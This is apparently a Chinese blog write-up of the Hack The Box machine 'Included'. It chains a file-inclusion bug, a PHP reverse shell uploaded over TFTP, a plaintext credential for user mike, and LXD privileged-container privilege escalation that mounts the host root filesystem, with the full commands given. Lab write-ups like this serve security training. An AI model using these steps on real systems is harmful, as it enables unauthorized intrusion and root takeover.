HTB_Inclued_TFTP文件包含与LXD提权

信息收集

开放80端口,urlhttp://ip:port?file=home.php

测试文件包含,本地包含成功,远程失败,尝试上传后门木马反弹shell

根据图示,网站目录为var/www,其他功能都是死页面

在这里插入图片描述

使用udp扫描,发现五个端口

nmap -sV -v -sU ip

在这里插入图片描述

TFTP

TFTP是简单的文字模式的 FTP 程序,使用的指令和 FTP 类似,尝试上传文件然后包含

要解决的是目录问题,查看etc\passwd文件,其默认目录为/var/lib/tftpboot,上传后可以尝试访问如下路径

http://10.129.140.193/?file=../../../../../../../var/lib/tftpboot/php-reverse-shell.php

连接tftp,并上传文件

tftp ip
put php-reverse-shell.php

在这里插入图片描述

访问路径后,成功回弹

在这里插入图片描述

python3 -c 'import pty;pty.spawn("/bin/bash")'

无权限

在这里插入图片描述

翻文件目录。找到账号密码

ls -al

在这里插入图片描述

转换用户,查看user.txt

su mike
Sheffield19

LXD 提权

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源

Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作

总之,使用起来很类似docker

在这里插入图片描述

原理据查询:一个低许可权的使用者能够建立一个用于host和container通讯的socket,当将host中已经建立的一个socket和container连接后,它们之间的连线通讯以LXD服务的凭证(root许可权)而不是呼叫使用者的凭证,所以当container中传送socket和后渗透通讯时,此时host端的socket则是root许可权,所以关键就是怎么在一个得到一个root socket是实现提权

在这里插入图片描述

lxd是一个管理程序 apt install lxd
将用户添加到lxd组 id->uid=1000 gid..128(lxd)
lxd init 初始化配置
创建一个容器 lcx launch ubuntu18.04
与容器建立连接 lcx exec 容器名 --/bin/bash

攻击机root权限用户执行如下命令,构建一个最小的容器镜像

wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# 以root权限构建
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

在这里插入图片描述

Alpine Linux 是一个围绕 musl libc 和 BusyBox 构建的 Linux 发行版。该镜像只有 5 MB 大小(本次安装只有1.96M),并且可以访问比其他基于 BusyBox 的镜像更完整的包存储库

本机监听

python3 -m http.server 8000

目标主机下载,在根目录cd ~下载的,其他目录很多没有写入权限

wget http://10.10.16.9:8000/lxd.tar.xz
wget http://10.10.16.9:8000/rootfs.squashfs

在这里插入图片描述

导入镜像

# --alias alpine 设置别名
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

查看镜像

在这里插入图片描述

把宿主机的盘挂载到容器中,这样操作容器就是操作真实宿主机的文件系统

# 将security.privileged设置为true 以便容器具有根文件系统所具有的所有权限
# alpine为镜像别名 privesc为自定义名称
lxc init alpine privesc -c security.privileged=true
# 把source参数的宿主机目录挂载到path参数的容器目录中实现共享
# 宿主机将 / 根目录映射到容器(linux) /mnt/目录下新建的目录root
# source=/root path=/dir01
# 此处可以创建多个不同名称的基于alpine的容器 从容器镜像启动容器
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
# 启动容器 privesc
lxc start privesc
# 启动shell
lxc exec privesc /bin/sh

在这里插入图片描述

# 查看文件 /mnt/root/目录下映射了宿主机根目录下所有的文件
cd /mnt/root/root
cat root.txt

在这里插入图片描述

环境安装报错

ps:安装软件总报如下错误

在这里插入图片描述

解决方法:

cd /etc/apt/sources.list.d
rm docker.list
apt-get update

在这里插入图片描述

解决方法:

apt-get install libc6-dev

签名无效

在这里插入图片描述

解决方法:

wget archive.kali.org/archive-key.asc   //下载签名
apt-key add archive-key.asc   //安装签名
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值